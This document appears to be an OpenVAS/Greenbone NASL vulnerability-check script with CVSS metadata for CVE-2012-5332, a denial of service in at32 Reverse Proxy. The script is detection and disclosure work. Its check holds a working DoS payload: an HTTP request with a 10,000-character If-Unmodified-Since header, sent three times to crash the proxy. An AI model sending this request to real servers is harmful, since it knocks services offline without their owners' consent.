CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
High
EPSS
Percentile
83.0%
at32 Reverse Proxy is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902825");
script_version("2024-06-27T05:05:29+0000");
script_cve_id("CVE-2012-5332");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_tag(name:"last_modification", value:"2024-06-27 05:05:29 +0000 (Thu, 27 Jun 2024)");
script_tag(name:"creation_date", value:"2012-03-29 12:12:12 +0530 (Thu, 29 Mar 2012)");
script_name("at32 Reverse Proxy Multiple HTTP Header Fields DoS Vulnerability");
script_xref(name:"URL", value:"http://secunia.com/advisories/48460");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52553");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/521993");
script_xref(name:"URL", value:"http://packetstormsecurity.org/files/110967/at32-dos.txt");
script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2012-03/0080.html");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("Denial of Service");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to cause the
application to crash, creating a denial of service condition.");
script_tag(name:"affected", value:"at32 Reverse Proxy version 1.060.310.");
script_tag(name:"insight", value:"The flaw is due to a NULL pointer dereference error when
processing web requests and can be exploited to cause a crash via an overly
long string within a HTTP header.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"summary", value:"at32 Reverse Proxy is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
port = http_get_port(default:80);
res = http_get_cache(item:"/", port:port);
if(res && "reverse proxy" >< tolower(res))
{
req = string("GET / HTTP/1.0\r\n",
"If-Unmodified-Since: ", crap(10000), "\r\n",
"Connection: Keep-Alive\r\n\r\n");
for(i=0; i<3; i++){
res = http_keepalive_send_recv(port:port, data:req);
}
sleep(3);
if(http_is_dead(port:port)){
security_message(port);
exit(0);
}
}
exit(99);